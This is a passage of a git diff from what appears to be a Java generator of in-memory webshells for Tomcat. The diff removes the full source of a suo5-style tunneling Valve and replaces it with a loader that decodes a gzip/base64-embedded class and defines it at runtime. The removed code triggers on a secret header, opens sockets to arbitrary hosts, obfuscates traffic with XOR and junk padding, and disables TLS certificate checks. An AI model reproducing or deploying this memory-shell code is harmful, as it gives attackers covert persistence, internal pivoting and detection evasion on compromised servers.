null || objs.length != 3) { - - return; - } - SocketChannel sc = (SocketChannel) objs[0]; - BlockingQueue readQueue = (BlockingQueue) objs[1]; - BlockingQueue writeQueue = (BlockingQueue) objs[2]; - boolean selfClean = false; - - try { - if (mode == 1) { - // read thread - ByteBuffer buffer = ByteBuffer.allocate(BUF_SIZE); - while (true) { - byte[] data = readSocketChannel(sc, buffer); - if (data.length == 0) { - break; - } - if (!readQueue.offer(data, 60, TimeUnit.SECONDS)) { - selfClean = true; - break; - } - } - } else { - // write thread - while (true) { - byte[] data = writeQueue.poll(300, TimeUnit.SECONDS); - if (data == null || data.length == 0) { - selfClean = true; - break; - } - ByteBuffer buf = ByteBuffer.wrap(data); - while (buf.hasRemaining()) { - sc.write(buf); - } - } - } - } catch (Exception e) { + return out.toByteArray(); } finally { - if (selfClean) { - - removeKey(this.gtunId); + if (gzipInputStream != null) { + gzipInputStream.close(); } - readQueue.clear(); - writeQueue.clear(); - try { - writeQueue.put(new byte[0]); - sc.close(); - } catch (Exception ignore) { - } - + out.close(); } } } diff --git a/generator/src/main/java/com/reajason/javaweb/memshell/shelltool/suo5v2/Suo5v2Valve.java b/generator/src/main/java/com/reajason/javaweb/memshell/shelltool/suo5v2/Suo5v2Valve.java index 09d04725..fa13fe4e 100644 --- a/generator/src/main/java/com/reajason/javaweb/memshell/shelltool/suo5v2/Suo5v2Valve.java +++ b/generator/src/main/java/com/reajason/javaweb/memshell/shelltool/suo5v2/Suo5v2Valve.java @@ -4,65 +4,35 @@ import org.apache.catalina.connector.Request; import org.apache.catalina.connector.Response; -import javax.net.ssl.*; import javax.servlet.ServletException; -import javax.servlet.ServletRequest; -import javax.servlet.ServletResponse; -import javax.servlet.http.HttpServletRequest; -import javax.servlet.http.HttpServletResponse; -import java.io.*; -import java.net.*; -import java.nio.ByteBuffer; -import java.nio.channels.SocketChannel; -import java.security.cert.CertificateException; -import java.security.cert.X509Certificate; -import java.util.Enumeration; -import java.util.HashMap; -import java.util.Hashtable; -import java.util.Random; -import java.util.concurrent.BlockingQueue; -import java.util.concurrent.LinkedBlockingQueue; -import java.util.concurrent.TimeUnit; +import java.io.ByteArrayInputStream; +import java.io.ByteArrayOutputStream; +import java.io.IOException; +import java.util.zip.GZIPInputStream; /** * @author ReaJason * @since 2025/12/9 */ -public class Suo5v2Valve implements Valve, Runnable, HostnameVerifier, X509TrustManager { - public static String headerName; - public static String headerValue; - private static HashMap addrs = collectAddr(); - private static Hashtable ctx = new Hashtable(); - - private final String CHARACTERS = "abcdefghijklmnopqrstuvwxyz0123456789"; - private final int CHARACTERS_LENGTH = CHARACTERS.length(); - private final int BUF_SIZE = 1024 * 16; - - private InputStream gInStream; - private OutputStream gOutStream; - private String gtunId; - private int mode = 0; +public class Suo5v2Valve extends ClassLoader implements Valve { + private static Class suo5V2Class; + private static String suo5V2GZipBase64; public Suo5v2Valve() { } - public Suo5v2Valve(InputStream in, OutputStream out, String tunId) { - this.gInStream = in; - this.gOutStream = out; - this.gtunId = tunId; - } - - public Suo5v2Valve(String tunId, int mode) { - this.gtunId = tunId; - this.mode = mode; + protected Suo5v2Valve(ClassLoader parent) { + super(parent); } @Override public void invoke(Request request, Response response) throws IOException, ServletException { try { - if (request.getHeader(headerName) != null - && request.getHeader(headerName).contains(headerValue)) { - new Suo5v2Valve().process(request, response); + if (suo5V2Class == null) { + byte[] bytes = gzipDecompress(decodeBase64(suo5V2GZipBase64)); + suo5V2Class = new Suo5v2Valve(Thread.currentThread().getContextClassLoader()).defineClass(bytes, 0, bytes.length); + } + if (suo5V2Class.newInstance().equals(new Object[]{request, response})) { return; } } catch (Throwable ignored) { @@ -70,1010 +40,37 @@ public void invoke(Request request, Response response) throws IOException, Servl this.getNext().invoke(request, response); } - private void process(ServletRequest request, ServletResponse response) { - HttpServletRequest req = (HttpServletRequest) request; - HttpServletResponse resp = (HttpServletResponse) response; - String sid = null; - byte[] bodyPrefix = new byte[0]; + @SuppressWarnings("all") + public static byte[] decodeBase64(String base64Str) throws Exception { + Class decoderClass; try { - InputStream reqInputStream = req.getInputStream(); - HashMap dataMap = unmarshalBase64(reqInputStream); - - byte[] modeData = (byte[]) dataMap.get("m"); - byte[] actionData = (byte[]) dataMap.get("ac"); - byte[] tunIdData = (byte[]) dataMap.get("id"); - byte[] sidData = (byte[]) dataMap.get("sid"); - if (actionData == null || actionData.length != 1 || tunIdData == null || tunIdData.length == 0 || modeData == null || modeData.length == 0) { - return; - } - if (sidData != null && sidData.length > 0) { - sid = new String(sidData); - } - - String tunId = new String(tunIdData); - byte mode = modeData[0]; - switch (mode) { - case 0x00: - sid = randomString(16); - processHandshake(req, resp, dataMap, tunId, sid); - - break; - case 0x01: - setBypassHeader(resp); - processFullStream(req, resp, dataMap, tunId); - break; - case 0x02: - setBypassHeader(resp); - // don't break here, continue to process - case 0x03: - byte[] bodyContent = toByteArray(reqInputStream); - if (processRedirect(req, resp, dataMap, bodyPrefix, bodyContent)) { - - break; - } - - if (sidData == null || sidData.length == 0 || getKey(new String(sidData)) == null) { - // send to wrong node, client should retry - resp.setStatus(403); - - return; - } - - InputStream bodyStream = new ByteArrayInputStream(bodyContent); - int dirySize = getDirtySize(sid); - - if (mode == 0x02) { - // half mode - writeAndFlush(resp, processTemplateStart(resp, new String(sidData)), dirySize); - do { - processHalfStream(req, resp, dataMap, tunId, dirySize); - try { - dataMap = unmarshalBase64(bodyStream); - if (dataMap.isEmpty()) { - break; - } - tunId = new String((byte[]) dataMap.get("id")); - } catch (Exception e) { - break; - } - } while (true); - writeAndFlush(resp, processTemplateEnd(sid), dirySize); - - } else { - // classic mode - ByteArrayOutputStream baos = new ByteArrayOutputStream(); - baos.write(processTemplateStart(resp, new String(sidData))); - - do { - processClassic(req, baos, dataMap, tunId); - try { - dataMap = unmarshalBase64(bodyStream); - if (dataMap.isEmpty()) { - break; - } - tunId = new String((byte[]) dataMap.get("id")); - } catch (Exception e) { - break; - } - } while (true); - - baos.write(processTemplateEnd(sid)); - resp.setContentLength(baos.size()); - writeAndFlush(resp, baos.toByteArray(), 0); - } - - break; - default: - } + decoderClass = Class.forName("java.util.Base64"); + Object decoder = decoderClass.getMethod("getDecoder").invoke(null); + return (byte[]) decoder.getClass().getMethod("decode", String.class).invoke(decoder, base64Str); } catch (Throwable e) { - } finally { - try { - OutputStream out = resp.getOutputStream(); - out.flush(); - out.close(); - } catch (Throwable ignored) {} - } - } - - private void setBypassHeader(HttpServletResponse resp) { - resp.setBufferSize(BUF_SIZE); - resp.setHeader("X-Accel-Buffering", "no"); - } - - private byte[] processTemplateStart(HttpServletResponse resp, String sid) throws Exception { - byte[] data = new byte[0]; - Object o = getKey(sid); - if (o == null) { - - return data; - } - String[] tplParts = (String[]) o; - if (tplParts.length != 3) { - return data; - } - - resp.setHeader("Content-Type", tplParts[0]); - return tplParts[1].getBytes(); - } - - private byte[] processTemplateEnd(String sid) { - byte[] data = new byte[0]; - Object o = getKey(sid); - if (o == null) { - - return data; - } - String[] tplParts = (String[]) o; - if (tplParts.length != 3) { - return data; - } - - return tplParts[2].getBytes(); - } - - private int getDirtySize(String sid) { - Object o = getKey(sid + "_jk"); - if (o == null) { - return 0; - } - return (Integer) o; - } - - private boolean processRedirect(HttpServletRequest req, HttpServletResponse resp, HashMap dataMap, byte[] bodyPrefix, byte[] bodyContent) throws Exception { - byte[] redirectData = (byte[]) dataMap.get("r"); - dataMap.remove("r"); - // load balance, send request with data to request url - boolean needRedirect = redirectData != null && redirectData.length > 0; - if (needRedirect && !isLocalAddr(new String(redirectData))) { - HttpURLConnection conn = null; - try { - ByteArrayOutputStream baos = new ByteArrayOutputStream(); - baos.write(bodyPrefix); - baos.write(marshalBase64(dataMap)); - baos.write(bodyContent); - byte[] newBody = baos.toByteArray(); - conn = redirect(req, new String(redirectData), newBody); - pipeStream(conn.getInputStream(), resp.getOutputStream(), false); - } finally { - if (conn != null) { - conn.disconnect(); - } - } - return true; - } - return false; - } - - private void processHandshake(HttpServletRequest req, HttpServletResponse resp, HashMap dataMap, String tunId, String sid) throws Exception { - byte[] redirectData = (byte[]) dataMap.get("r"); - boolean needRedirect = redirectData != null && redirectData.length > 0; - if (needRedirect && !isLocalAddr(new String(redirectData))) { - resp.setStatus(403); - return; - } - - byte[] tplData = (byte[]) dataMap.get("tpl"); - byte[] contentTypeData = (byte[]) dataMap.get("ct"); - if (tplData != null && tplData.length > 0 && contentTypeData != null && contentTypeData.length > 0) { - String tpl = new String(tplData); - String[] parts = tpl.split("#data#", 2); - putKey(sid, new String[]{new String(contentTypeData), parts[0], parts[1]}); - } else { - putKey(sid, new String[0]); - } - - byte[] dirtySizeData = (byte[]) dataMap.get("jk"); - if (dirtySizeData != null && dirtySizeData.length > 0) { - int dirtySize = 0; - try { - dirtySize = Integer.parseInt(new String(dirtySizeData)); - } catch (NumberFormatException e) { - - } - if (dirtySize < 0) { - dirtySize = 0; - } - putKey(sid + "_jk", dirtySize); - } - - byte[] isAutoData = (byte[]) dataMap.get("a"); - boolean isAuto = isAutoData != null && isAutoData.length > 0 && isAutoData[0] == 0x01; - if (isAuto) { - setBypassHeader(resp); - writeAndFlush(resp, processTemplateStart(resp, sid), 0); - - // write the body string to verify - writeAndFlush(resp, marshalBase64(newData(tunId, (byte[]) dataMap.get("dt"))), 0); - - Thread.sleep(2000); - - // write again to identify streaming response - writeAndFlush(resp, marshalBase64(newData(tunId, sid.getBytes())), 0); - writeAndFlush(resp, processTemplateEnd(sid), 0); - } else { - ByteArrayOutputStream baos = new ByteArrayOutputStream(); - baos.write(processTemplateStart(resp, sid)); - baos.write(marshalBase64(newData(tunId, (byte[]) dataMap.get("dt")))); - baos.write(marshalBase64(newData(tunId, sid.getBytes()))); - baos.write(processTemplateEnd(sid)); - resp.setContentLength(baos.size()); - writeAndFlush(resp, baos.toByteArray(), 0); - } - } - - private void processFullStream(HttpServletRequest req, HttpServletResponse resp, HashMap dataMap, String tunId) throws Exception { - InputStream reqInputStream = req.getInputStream(); - String host = new String((byte[]) dataMap.get("h")); - int port = Integer.parseInt(new String((byte[]) dataMap.get("p"))); - if (port == 0) { - port = getServerPort(req); - } - - Socket socket = null; - - try { - socket = new Socket(); - socket.setTcpNoDelay(true); - socket.setReceiveBufferSize(128 * 1024); - socket.setSendBufferSize(128 * 1024); - socket.connect(new InetSocketAddress(host, port), 5000); - writeAndFlush(resp, marshalBase64(newStatus(tunId, (byte) 0x00)), 0); - } catch (Exception e) { - if (socket != null) { - socket.close(); - } - writeAndFlush(resp, marshalBase64(newStatus(tunId, (byte) 0x01)), 0); - return; - } - - - Thread t = null; - boolean sendClose = true; - try { - final OutputStream scOutStream = socket.getOutputStream(); - final InputStream scInStream = socket.getInputStream(); - final OutputStream respOutputStream = resp.getOutputStream(); - - Suo5v2Valve p = new Suo5v2Valve(scInStream, respOutputStream, tunId); - t = new Thread(p); - t.start(); - - while (true) { - HashMap newData = unmarshalBase64(reqInputStream); - if (newData.isEmpty()) { - break; - } - byte action = ((byte[]) newData.get("ac"))[0]; - switch (action) { - case 0x00: - case 0x02: - sendClose = false; - break; - case 0x01: - byte[] data = (byte[]) newData.get("dt"); - if (data.length != 0) { - scOutStream.write(data); - scOutStream.flush(); - } - break; - case 0x10: - writeAndFlush(resp, marshalBase64(newHeartbeat(tunId)), 0); - break; - default: - } - } - } catch (Exception ignored) { - } finally { - - try { - socket.close(); - } catch (Exception ignored) { - } - - if (sendClose) { - writeAndFlush(resp, marshalBase64(newDel(tunId)), 0); - } - if (t != null) { - t.join(); - } - - } - } - - private void processHalfStream(HttpServletRequest req, HttpServletResponse resp, HashMap dataMap, String tunId, int dirtySize) throws Exception { - boolean newThread = false; - boolean sendClose = true; - - try { - byte action = ((byte[]) dataMap.get("ac"))[0]; - switch (action) { - case 0x00: - byte[] createData = performCreate(req, dataMap, tunId, newThread); - writeAndFlush(resp, createData, dirtySize); - - Object[] objs = (Object[]) getKey(tunId); - if (objs == null) { - throw new IOException("tunnel not found"); - } - SocketChannel sc = (SocketChannel) objs[0]; - ByteBuffer buffer = ByteBuffer.allocate(BUF_SIZE); - while (true) { - try { - byte[] data = readSocketChannel(sc, buffer); - if (data.length == 0) { - break; - } - writeAndFlush(resp, marshalBase64(newData(tunId, data)), dirtySize); - } catch (Exception e) { -// - break; - } - } - break; - case 0x01: - performWrite(dataMap, tunId, newThread); - break; - case 0x02: - - sendClose = false; - performDelete(tunId); - break; - case 0x10: - writeAndFlush(resp, marshalBase64(newHeartbeat(tunId)), dirtySize); - break; - } - - } catch (Exception e) { - - performDelete(tunId); - if (sendClose) { - writeAndFlush(resp, marshalBase64(newDel(tunId)), dirtySize); - } - } - } - - private void processClassic(HttpServletRequest req, ByteArrayOutputStream respBodyStream, HashMap dataMap, String tunId) throws - Exception { - boolean sendClose = true; - boolean newThread = true; - - try { - byte action = ((byte[]) dataMap.get("ac"))[0]; - switch (action) { - case 0x00: - byte[] createData = performCreate(req, dataMap, tunId, newThread); - respBodyStream.write(createData); - break; - case 0x01: - performWrite(dataMap, tunId, newThread); - byte[] readData = performRead(tunId); - respBodyStream.write(readData); - break; - case 0x02: - sendClose = false; - performDelete(tunId); - break; - } - - } catch (Exception e) { - - performDelete(tunId); - if (sendClose) { - respBodyStream.write(marshalBase64(newDel(tunId))); - } - } - } - - private void writeAndFlush(HttpServletResponse resp, byte[] data, int dirtySize) throws Exception { - if (data == null || data.length == 0) { - return; - } - OutputStream out = resp.getOutputStream(); - out.write(data); - if (dirtySize != 0) { - - out.write(marshalBase64(newDirtyChunk(dirtySize))); - } - out.flush(); - resp.flushBuffer(); - } - - private byte[] performCreate(HttpServletRequest request, HashMap dataMap, String tunId, boolean newThread) throws Exception { - String host = new String((byte[]) dataMap.get("h")); - int port = Integer.parseInt(new String((byte[]) dataMap.get("p"))); - if (port == 0) { - port = getServerPort(request); - } - - ByteArrayOutputStream baos = new ByteArrayOutputStream(); - SocketChannel socketChannel = null; - HashMap resultData = null; - try { - socketChannel = SocketChannel.open(); - socketChannel.socket().setTcpNoDelay(true); - socketChannel.socket().setReceiveBufferSize(128 * 1024); - socketChannel.socket().setSendBufferSize(128 * 1024); - socketChannel.socket().connect(new InetSocketAddress(host, port), 3000); - socketChannel.configureBlocking(true); - resultData = newStatus(tunId, (byte) 0x00); - BlockingQueue readQueue = new LinkedBlockingQueue(100); - BlockingQueue writeQueue = new LinkedBlockingQueue(); - putKey(tunId, new Object[]{socketChannel, readQueue, writeQueue}); - if (newThread) { - new Thread(new Suo5v2Valve(tunId, 1)).start(); - new Thread(new Suo5v2Valve(tunId, 2)).start(); - } - } catch (Exception e) { - if (socketChannel != null) { - try { - socketChannel.close(); - } catch (Exception ignore) { - } - } - - resultData = newStatus(tunId, (byte) 0x01); - } - baos.write(marshalBase64(resultData)); - return baos.toByteArray(); - } - - private void performWrite(HashMap dataMap, String tunId, boolean newThread) throws Exception { - Object[] objs = (Object[]) getKey(tunId); - if (objs == null) { - throw new IOException("tunnel not found"); - } - SocketChannel sc = (SocketChannel) objs[0]; - if (!sc.isConnected()) { - throw new IOException("socket not connected"); - } - - byte[] data = (byte[]) dataMap.get("dt"); - if (data.length != 0) { - if (newThread) { - BlockingQueue writeQueue = (BlockingQueue) objs[2]; - writeQueue.put(data); - } else { - ByteBuffer buf = ByteBuffer.wrap(data); - while (buf.hasRemaining()) { - sc.write(buf); - } - } - } - } - - private byte[] performRead(String tunId) throws Exception { - Object[] objs = (Object[]) getKey(tunId); - if (objs == null) { - throw new IOException("tunnel not found"); - } - SocketChannel sc = (SocketChannel) objs[0]; - if (!sc.isConnected()) { - throw new IOException("socket not connected"); - } - ByteArrayOutputStream baos = new ByteArrayOutputStream(); - BlockingQueue readQueue = (BlockingQueue) objs[1]; - int maxSize = 512 * 1024; // 1MB - int written = 0; - while (true) { - byte[] data = readQueue.poll(); - if (data != null) { - written += data.length; - baos.write(marshalBase64(newData(tunId, data))); - if (written >= maxSize) { - break; - } - } else { - break; // no more data - } - } - return baos.toByteArray(); - } - - private void performDelete(String tunId) { - Object[] objs = (Object[]) getKey(tunId); - if (objs != null) { - removeKey(tunId); - SocketChannel sc = (SocketChannel) objs[0]; - BlockingQueue writeQueue = (BlockingQueue) objs[2]; - try { - // trigger write thread to exit; - writeQueue.put(new byte[0]); - sc.close(); - } catch (Exception ignore) { - } + decoderClass = Class.forName("sun.misc.BASE64Decoder"); + return (byte[]) decoderClass.getMethod("decodeBuffer", String.class).invoke(decoderClass.newInstance(), base64Str); } } - private int getServerPort(HttpServletRequest request) throws Exception { - int port; + @SuppressWarnings("all") + public static byte[] gzipDecompress(byte[] compressedData) throws IOException { + ByteArrayOutputStream out = new ByteArrayOutputStream(); + GZIPInputStream gzipInputStream = null; try { - port = ((Integer) request.getClass().getMethod("getLocalPort", new Class[]{}).invoke(request, new Object[]{})).intValue(); - } catch (Exception e) { - port = ((Integer) request.getClass().getMethod("getServerPort", new Class[]{}).invoke(request, new Object[]{})).intValue(); - } - return port; - } - - private void pipeStream(InputStream inputStream, OutputStream outputStream, boolean needMarshal) throws Exception { - try { - byte[] readBuf = new byte[1024 * 8]; - while (true) { - int n = inputStream.read(readBuf); - if (n <= 0) { - break; - } - byte[] dataTmp = copyOfRange(readBuf, 0, 0 + n); - if (needMarshal) { - dataTmp = marshalBase64(newData(this.gtunId, dataTmp)); - } - outputStream.write(dataTmp); - outputStream.flush(); - } - } finally { - // don't close outputStream - if (inputStream != null) { - try { - inputStream.close(); - } catch (Exception ignore) { - } - } - } - } - - private byte[] readSocketChannel(SocketChannel socketChannel, ByteBuffer buffer) throws IOException { - buffer.clear(); - int bytesRead = socketChannel.read(buffer); - if (bytesRead <= 0) { // EOF or error - return new byte[0]; - } - - buffer.flip(); - byte[] data = new byte[buffer.remaining()]; - buffer.get(data); - return data; - } - - private static HashMap collectAddr() { - HashMap addrs = new HashMap(); - try { - Enumeration nifs = NetworkInterface.getNetworkInterfaces(); - while (nifs.hasMoreElements()) { - NetworkInterface nif = (NetworkInterface) nifs.nextElement(); - Enumeration addresses = nif.getInetAddresses(); - while (addresses.hasMoreElements()) { - InetAddress addr = (InetAddress) addresses.nextElement(); - String s = addr.getHostAddress(); - if (s != null) { - // fe80:0:0:0:fb0d:5776:2d7c:da24%wlan4 strip %wlan4 - int ifaceIndex = s.indexOf('%'); - if (ifaceIndex != -1) { - s = s.substring(0, ifaceIndex); - } - addrs.put((Object) s, (Object) Boolean.TRUE); - } - } - } - } catch (Exception e) { - } - return addrs; - } - - private boolean isLocalAddr(String url) throws Exception { - String ip = (new URL(url)).getHost(); - return addrs.containsKey(ip); - } - - private HttpURLConnection redirect(HttpServletRequest request, String rUrl, byte[] body) throws Exception { - String method = request.getMethod(); - URL u = new URL(rUrl); - HttpURLConnection conn = (HttpURLConnection) u.openConnection(); - conn.setRequestMethod(method); - try { - // conn.setConnectTimeout(3000); - conn.getClass().getMethod("setConnectTimeout", new Class[]{int.class}).invoke(conn, new Object[]{new Integer(3000)}); - // conn.setReadTimeout(0); - conn.getClass().getMethod("setReadTimeout", new Class[]{int.class}).invoke(conn, new Object[]{new Integer(0)}); - } catch (Exception e) { - // java1.4 - } - conn.setDoOutput(true); - conn.setDoInput(true); - - // ignore ssl verify - // ref: https://github.com/L-codes/Neo-reGeorg/blob/master/templates/NeoreGeorg.java - if (HttpsURLConnection.class.isInstance(conn)) { - ((HttpsURLConnection) conn).setHostnameVerifier(this); - SSLContext sslCtx = SSLContext.getInstance("SSL"); - sslCtx.init(null, new TrustManager[]{this}, null); - ((HttpsURLConnection) conn).setSSLSocketFactory(sslCtx.getSocketFactory()); - } - - Enumeration headers = request.getHeaderNames(); - while (headers.hasMoreElements()) { - String k = (String) headers.nextElement(); - if (k.equalsIgnoreCase("Content-Length")) { - conn.setRequestProperty(k, String.valueOf(body.length)); - } else if (k.equalsIgnoreCase("Host")) { - conn.setRequestProperty(k, u.getHost()); - } else if (k.equalsIgnoreCase("Connection")) { - conn.setRequestProperty(k, "close"); - } else if (k.equalsIgnoreCase("Content-Encoding") || k.equalsIgnoreCase("Transfer-Encoding")) { - continue; - } else { - conn.setRequestProperty(k, request.getHeader(k)); - } - } - - OutputStream rout = conn.getOutputStream(); - rout.write(body); - rout.flush(); - rout.close(); - conn.getResponseCode(); - return conn; - } - - - private byte[] toByteArray(InputStream in) { - try { - ByteArrayOutputStream baos = new ByteArrayOutputStream(); + gzipInputStream = new GZIPInputStream(new ByteArrayInputStream(compressedData)); byte[] buffer = new byte[4096]; - - int len; - while ((len = in.read(buffer)) != -1) { - baos.write(buffer, 0, len); + int n; + while ((n = gzipInputStream.read(buffer)) > 0) { + out.write(buffer, 0, n); } - - return baos.toByteArray(); - } catch (IOException var5) { - return new byte[0]; - } - } - - private void readFull(InputStream is, byte[] b) throws IOException { - int bufferOffset = 0; - while (bufferOffset < b.length) { - int readLength = b.length - bufferOffset; - int readResult = is.read(b, bufferOffset, readLength); - if (readResult == -1) { - throw new IOException("stream EOF"); - } - bufferOffset += readResult; - } - } - - public HashMap newDirtyChunk(int size) { - HashMap m = new HashMap(); - m.put("ac", new byte[]{0x11}); - if (size > 0) { - byte[] data = new byte[size]; - new Random().nextBytes(data); - m.put("d", data); - } - return m; - } - - private HashMap newData(String tunId, byte[] data) { - HashMap m = new HashMap(); - m.put("ac", new byte[]{0x01}); - m.put("dt", data); - m.put("id", tunId.getBytes()); - return m; - } - - private HashMap newDel(String tunId) { - HashMap m = new HashMap(); - m.put("ac", new byte[]{0x02}); - m.put("id", tunId.getBytes()); - return m; - } - - private HashMap newStatus(String tunId, byte b) { - HashMap m = new HashMap(); - m.put("ac", new byte[]{0x03}); - m.put("s", new byte[]{b}); - m.put("id", tunId.getBytes()); - return m; - } - - private HashMap newHeartbeat(String tunId) { - HashMap m = new HashMap(); - m.put("ac", new byte[]{0x10}); - m.put("id", tunId.getBytes()); - return m; - } - - private byte[] u32toBytes(int i) { - byte[] result = new byte[4]; - result[0] = (byte) (i >> 24); - result[1] = (byte) (i >> 16); - result[2] = (byte) (i >> 8); - result[3] = (byte) (i /*>> 0*/); - return result; - } - - private int bytesToU32(byte[] bytes) { - return ((bytes[0] & 0xFF) << 24) | - ((bytes[1] & 0xFF) << 16) | - ((bytes[2] & 0xFF) << 8) | - ((bytes[3] & 0xFF) << 0); - } - - private void putKey(String k, Object v) { - ctx.put(k, v); - } - - private Object getKey(String k) { - return ctx.get(k); - } - - private void removeKey(String k) { - ctx.remove(k); - } - - private byte[] copyOfRange(byte[] original, int from, int to) { - int newLength = to - from; - if (newLength < 0) { - throw new IllegalArgumentException(from + " > " + to); - } - byte[] copy = new byte[newLength]; - int copyLength = Math.min(original.length - from, newLength); - // can't use System.arraycopy, there is no system in some environment - // System.arraycopy(original, from, copy, 0, copyLength); - for (int i = 0; i < copyLength; i++) { - copy[i] = original[from + i]; - } - return copy; - } - - private String base64UrlEncode(byte[] bs) throws Exception { - Class base64; - String value = null; - try { - base64 = Class.forName("java.util.Base64"); - Object Encoder = base64.getMethod("getEncoder", new Class[0]) - .invoke(base64, new Object[0]); - value = (String) Encoder.getClass() - .getMethod("encodeToString", new Class[]{byte[].class}) - .invoke(Encoder, new Object[]{bs}); - } catch (Exception e) { - try { - base64 = Class.forName("sun.misc.BASE64Encoder"); - Object Encoder = base64.newInstance(); - value = (String) Encoder.getClass() - .getMethod("encode", new Class[]{byte[].class}) - .invoke(Encoder, new Object[]{bs}); - value = value.replaceAll("\\s+", ""); - } catch (Exception e2) { - } - } - if (value != null) { - value = value.replace('+', '-').replace('/', '_'); - while (value.endsWith("=")) { - value = value.substring(0, value.length() - 1); - } - } - return value; - } - - - private byte[] base64UrlDecode(String bs) throws Exception { - if (bs == null) { - return null; - } - bs = bs.replace('-', '+').replace('_', '/'); - while (bs.length() % 4 != 0) { - bs += "="; - } - - Class base64; - byte[] value = null; - try { - base64 = Class.forName("java.util.Base64"); - Object decoder = base64.getMethod("getDecoder", new Class[0]).invoke(base64, new Object[0]); - value = (byte[]) decoder.getClass().getMethod("decode", new Class[]{String.class}).invoke(decoder, new Object[]{bs}); - } catch (Exception e) { - try { - base64 = Class.forName("sun.misc.BASE64Decoder"); - Object decoder = base64.newInstance(); - value = (byte[]) decoder.getClass().getMethod("decodeBuffer", new Class[]{String.class}).invoke(decoder, new Object[]{bs}); - } catch (Exception e2) { - } - } - return value; - } - - private byte[] marshalBase64(HashMap m) throws Exception { - // add some junk data, 0~16 random size - Random random = new Random(); - int junkSize = random.nextInt(32); - if (junkSize > 0) { - byte[] junk = new byte[junkSize]; - random.nextBytes(junk); - m.put("_", junk); - } - - ByteArrayOutputStream buf = new ByteArrayOutputStream(); - Object[] keys = m.keySet().toArray(); - for (int i = 0; i < keys.length; i++) { - String key = (String) keys[i]; - byte[] value = (byte[]) m.get(key); - buf.write((byte) key.length()); - buf.write(key.getBytes()); - buf.write(u32toBytes(value.length)); - buf.write(value); - } - - // xor key - byte[] key = new byte[2]; - key[0] = (byte) ((Math.random() * 255) + 1); - key[1] = (byte) ((Math.random() * 255) + 1); - - byte[] data = buf.toByteArray(); - for (int i = 0; i < data.length; i++) { - data[i] = (byte) (data[i] ^ key[i % 2]); - } - data = base64UrlEncode(data).getBytes(); - - ByteBuffer dbuf = ByteBuffer.allocate(6); - dbuf.put(key); - dbuf.putInt(data.length); - byte[] headerData = dbuf.array(); - for (int i = 2; i < 6; i++) { - headerData[i] = (byte) (headerData[i] ^ key[i % 2]); - } - headerData = base64UrlEncode(headerData).getBytes(); - dbuf = ByteBuffer.allocate(8 + data.length); - dbuf.put(headerData); - dbuf.put(data); - return dbuf.array(); - } - - private HashMap unmarshalBase64(InputStream in) throws Exception { - HashMap m = new HashMap(); - byte[] header = new byte[8]; // base64 header - readFull(in, header); - header = base64UrlDecode(new String(header)); - if (header == null || header.length == 0) { - return m; - } - byte[] xor = new byte[]{header[0], header[1]}; - for (int i = 2; i < 6; i++) { - header[i] = (byte) (header[i] ^ xor[i % 2]); - } - ByteBuffer bb = ByteBuffer.wrap(header, 2, 4); - int len = bb.getInt(); - if (len > 1024 * 1024 * 32) { - throw new IOException("invalid len"); - } - byte[] bs = new byte[len]; - readFull(in, bs); - bs = base64UrlDecode(new String(bs)); - for (int i = 0; i < bs.length; i++) { - bs[i] = (byte) (bs[i] ^ xor[i % 2]); - } - - byte[] buf; - for (int i = 0; i < bs.length; ) { - int kLen = bs[i] & 0xFF; - i += 1; - if (i + kLen > bs.length) { - throw new Exception("key len error"); - } - buf = copyOfRange(bs, i, i + kLen); - String key = new String(buf); - i += kLen; - - if (i + 4 > bs.length) { - throw new Exception("value len error"); - } - buf = copyOfRange(bs, i, i + 4); - int vLen = bytesToU32(buf); - i += 4; - if (vLen < 0) { - throw new Exception("value error"); - } - - if (i + vLen > bs.length) { - throw new Exception("value error"); - } - byte[] value = copyOfRange(bs, i, i + vLen); - i += vLen; - - m.put(key, value); - } - return m; - } - - private String randomString(int length) { - if (length <= 0) { - return ""; - } - Random random = new Random(); - char[] randomChars = new char[length]; - for (int i = 0; i < length; i++) { - int randomIndex = random.nextInt(CHARACTERS_LENGTH); - randomChars[i] = CHARACTERS.charAt(randomIndex); - } - return new String(randomChars); - } - - public boolean verify(String hostname, SSLSession session) { - return true; - } - - public void checkClientTrusted(X509Certificate[] chain, String authType) throws CertificateException { - } - - public void checkServerTrusted(X509Certificate[] chain, String authType) throws CertificateException { - } - - public X509Certificate[] getAcceptedIssuers() { - return new X509Certificate[0]; - } - - public void run() { - // full stream - if (this.mode == 0) { - try { - pipeStream(gInStream, gOutStream, true); - } catch (Exception ignore) { - } - return; - } - - Object[] objs = (Object[]) getKey(this.gtunId); - if (objs == null || objs.length != 3) { - - return; - } - SocketChannel sc = (SocketChannel) objs[0]; - BlockingQueue readQueue = (BlockingQueue) objs[1]; - BlockingQueue writeQueue = (BlockingQueue) objs[2]; - boolean selfClean = false; - - try { - if (mode == 1) { - // read thread - ByteBuffer buffer = ByteBuffer.allocate(BUF_SIZE); - while (true) { - byte[] data = readSocketChannel(sc, buffer); - if (data.length == 0) { - break; - } - if (!readQueue.offer(data, 60, TimeUnit.SECONDS)) { - selfClean = true; - break; - } - } - } else { - // write thread - while (true) { - byte[] data = writeQueue.poll(300, TimeUnit.SECONDS); - if (data == null || data.length == 0) { - selfClean = true; - break; - } - ByteBuffer buf = ByteBuffer.wrap(data); - while (buf.hasRemaining()) { - sc.write(buf); - } - } - } - } catch (Exception e) { + return out.toByteArray(); } finally { - if (selfClean) { - - removeKey(this.gtunId); + if (gzipInputStream != null) { + gzipInputStream.close(); } - readQueue.clear(); - writeQueue.clear(); - try { - writeQueue.put(new byte[0]); - sc.close(); - } catch (Exception ignore) { - } - + out.close(); } } diff --git a/generator/src/main/java/com/reajason/javaweb/memshell/shelltool/wsbypass/TomcatWsBypassValve.java b/generator/src/main/java/com/reajason/javaweb/memshell/shelltool/wsbypass/TomcatWsBypassValve.java index 8e0c3df0..36b9fe04 100644 --- a/generator/src/main/java/com/reajason/javaweb/memshell/shelltool/wsbypass/TomcatWsBypassValve.java +++ b/generator/src/main/java/com/reajason/javaweb/memshell/shelltool/wsbypass/TomcatWsBypassValve.java @@ -5,6 +5,7 @@ import org.apache.catalina.connector.Response; import javax.servlet.ServletException; +import javax.websocket.server.ServerContainer; import java.io.IOException; import java.lang.reflect.Field; import java.lang.reflect.Method; @@ -29,19 +30,16 @@ public void invoke(Request request, Response response) throws IOException, Servl } else { path = request.getServletPath() + pathInfo; } - Object sc = request.getServletContext().getAttribute("javax.websocket.server.ServerContainer"); - if (sc == null) { - sc = request.getServletContext().getAttribute("jakarta.websocket.server.ServerContainer"); - } + Object sc = 